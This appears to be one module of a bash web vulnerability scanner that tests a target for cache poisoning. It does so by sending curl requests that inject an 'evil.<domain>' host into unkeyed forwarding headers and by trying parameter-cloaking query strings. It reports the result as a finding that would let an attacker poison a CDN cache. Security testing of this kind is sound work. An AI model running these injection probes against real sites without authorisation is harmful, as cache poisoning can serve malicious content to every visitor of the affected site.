#!/usr/bin/env bash # Vector 29: Web Cache Poisoning — Persistent cache-based attacks # Desc: Tests for cache poisoning via unkeyed headers & params # Severity: HIGH # Proof: Confirms by serving poisoned content to subsequent requests vector_cache_poisoning() { local target="$1" local report="$2" local domain=$(get_domain "$target") local findings=0 print_info "Hunting Web Cache Poisoning..." local base=$(get_base "$target") # Unkeyed headers to test for cache poisoning local unkeyed_headers=( "X-Forwarded-Host" "X-Forwarded-Scheme" "X-Forwarded-Port" "X-Original-URL" "X-Original-Host" "X-Rewrite-URL" "X-Real-IP" "Forwarded" "X-HTTP-Method-Override" "X-Originating-URL" ) # Cache proxy headers to look for local cache_headers=( "X-Cache" "X-Cache-Lookup" "CF-Cache-Status" "Age" "X-Served-By" "X-Cached" "X-Proxy-Cache" "X-Varnish" "X-Cache-Debug" "Cache-Control" ) # First, check if caching is in use local baseline=$(curl -sI --connect-timeout 5 --max-time 8 "$target" 2>/dev/null) local cache_detected=0 for hdr in "${cache_headers[@]}"; do if echo "$baseline" | grep -qi "$hdr"; then cache_detected=1 local val=$(echo "$baseline" | grep -i "$hdr" | tr -d '\r' | head -1) print_sub "Cache detected: $val" fi done if [ "$cache_detected" -eq 1 ]; then # Test unkeyed headers for X-Forwarded-Host for header in "${unkeyed_headers[@]}"; do local evil_host="evil.${domain}" local test_response=$(curl -s --connect-timeout 5 --max-time 8 \ -H "${header}: ${evil_host}" \ "$target" 2>/dev/null) # Check if the response includes our injected host if echo "$test_response" | grep -qi "$evil_host" || \ echo "$test_response" | grep -qi "evil\.${domain}"; then print_find "Cache Poisoning via ${header}!" "Injected $evil_host into response" echo "SEVERITY: HIGH VECTOR: Web Cache Poisoning DETAIL: Unkeyed header ${header} reflected in response URL: $target HEADER: ${header}: ${evil_host} EXPLOIT: Poison CDN cache to serve malicious content to all users" > "$REPORTS_DIR/.finding_cache_$(date +%s).txt" findings=$((findings + 1)) break fi done # Test cache key via parameter cloaking local cloaked_params=( "?test=1&test=2" "?test=1%26test=2" "?test=1&utm_source=cachebuster" "?test=1&dontcache=1" ) for param in "${cloaked_params[@]}"; do local url="${target}${param}" local resp1=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null) sleep 1 local resp2=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null) # Same size with different params = possible cache poisoning vector if [ "$resp1" = "$resp2" ] && [ -n "$resp1" ] && [ "$resp1" -gt 0 ]; then local cached_headers=$(curl -sI --connect-timeout 5 --max-time 8 "$url" 2>/dev/null) if echo "$cached_headers" | grep -qi "hit\|HIT\|fresh"; then print_find "Cacheable Parameter!" "Response cached with: $param" findings=$((findings + 1)) break fi fi done fi if [ "$findings" -eq 0 ]; then print_info "No cache poisoning opportunities found" fi return $findings }